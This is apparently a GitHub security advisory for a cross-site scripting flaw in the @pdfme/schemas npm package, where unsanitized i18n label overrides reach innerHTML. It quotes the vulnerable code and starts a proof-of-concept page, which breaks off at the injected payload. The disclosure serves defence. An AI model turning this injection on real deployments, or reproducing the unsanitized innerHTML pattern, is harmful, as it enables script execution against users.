GitHub Security Advisory: GHSA-xgx4-2wgv-4jhm
Package: @pdfme/schemas (NPM)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 5.5.9
Patched in: 5.5.10

Summary: PDFME  has XSS via Unsanitized i18n Label Injection into innerHTML in multiVariableText propPanel

Details:
## Summary

The multiVariableText property panel in `@pdfme/schemas` constructs HTML via string concatenation and assigns it to `innerHTML` using unsanitized i18n label values. An attacker who can control label overrides passed through `options.labels` can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no `{variables}` in its text.

## Details

When a user selects a multiVariableText schema field that contains no `{variable}` placeholders, the property panel renders instructional text by concatenating i18n-translated strings directly into `innerHTML`.

**Vulnerable sink** — `packages/schemas/src/multiVariableText/propPanel.ts:65-71`:

```typescript
// Use safe string concatenation for innerHTML
const typingInstructions = i18n('schemas.mvt.typingInstructions');
const sampleField = i18n('schemas.mvt.sampleField');
para.innerHTML =
  typingInstructions +
  ` <code style="color:${safeColorValue}; font-weight:bold;">{` +
  sampleField +
  '}</code>';
```

The comment on line 64 claims "safe string concatenation" but the result is assigned to `innerHTML` with no HTML escaping applied to `typingInstructions` or `sampleField`.

**i18n lookup has no escaping** — `packages/ui/src/i18n.ts:903`:

```typescript
export const i18n = (key: keyof Dict, dict?: Dict) => (dict || getDict(DEFAULT_LANG))[key];
```

This is a plain dictionary lookup — no HTML encoding or sanitization.

**Label override via deep merge** — `packages/ui/src/components/AppContextProvider.tsx:57-63`:

```typescript
let dict = getDict(lang);
if (options.labels) {
  dict = deepMerge(
    dict as unknown as Record<string, unknown>,
    options.labels as unknown as Record<string, unknown>,
  ) as typeof dict;
}
```

User-supplied `options.labels` values are deep-merged into the i18n dictionary with no content sanitization. The Zod schema validates labels as `z.record(z.string(), z.string())` — enforcing type but not content safety.

**Inconsistency:** The color value on lines 58-62 is explicitly validated with a regex allowlist, demonstrating security awareness. The i18n string values were simply overlooked.

## PoC

1. **Create a minimal app that passes attacker-controlled labels:**

```html
<html>
<body>
<div id="designer-container" style="width:100%;height:700px;"></div>
<script type="module">
import { Designer } from '@pdfme/ui';
import { multiVariableText } from '@pdfme/schemas';

const template = {
  basePdf: { width: 210, height: 297, padding: [10, 10, 10, 10] },
  schemas: [[{
    type: 'multiVariableText',
    name: 'field1',
    text: 'plain text with no variables',
    content: '{}',
    variables: [],
    position: { x: 20, y: 20 },
    width: 100,
    height: 20,
    readOnly: true,
  }]],
};

new Designer({
  domContainer: document.getElementById('designer-container'),
  template,
  plugins: { multiVariableText },
  options: {
    labels: {
      'schemas.mvt.typingInstructions':
        '<img